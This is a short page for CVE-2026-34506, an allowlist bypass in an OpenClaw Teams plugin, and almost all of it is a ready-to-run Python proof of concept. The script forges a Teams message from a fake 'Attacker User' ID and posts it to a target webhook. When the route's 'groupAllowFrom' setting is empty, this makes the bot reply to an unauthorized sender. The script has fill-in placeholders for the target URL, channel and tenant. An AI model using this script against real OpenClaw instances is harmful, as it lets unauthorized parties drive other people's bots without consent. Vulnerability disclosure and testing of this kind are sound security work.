CVE-2026-34506 OpenClaw Teams插件允许列表绕过漏洞

import requests import json # PoC for CVE-2026-34506: OpenClaw Sender Allowlist Bypass # Description: This script demonstrates how unauthorized senders can trigger replies # when the 'groupAllowFrom' parameter is empty in the route configuration. def exploit_openclaw_bypass(target_url, channel_id, tenant_id): """ Attempts to send a message to a vulnerable OpenClaw instance. Prerequisite: The target route must have an empty 'groupAllowFrom' configuration. """ headers = { 'Content-Type': 'application/json' } # Construct a malicious payload that mimics a Teams message payload = { "type": "message", "text": "CVE-2026-34506 PoC: Bypassed allowlist", "channelId": channel_id, "tenantId": tenant_id, "from": { "id": "29:1Xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", # Fake User ID "name": "Attacker User" }, "conversation": { "id": f"19:{channel_id}@thread.tacv2" } } print(f"[*] Sending payload to {target_url}...") try: response = requests.post(target_url, data=json.dumps(payload), headers=headers) if response.status_code == 200: print("[+] Success! The allowlist was bypassed and a reply was triggered.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed. Status Code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Replace these values with the actual target details TARGET = "http://vulnerable-openclaw-endpoint.com/webhook" CHANNEL = "target-channel-id" TENANT = "target-tenant-id" exploit_openclaw_bypass(TARGET, CHANNEL, TENANT)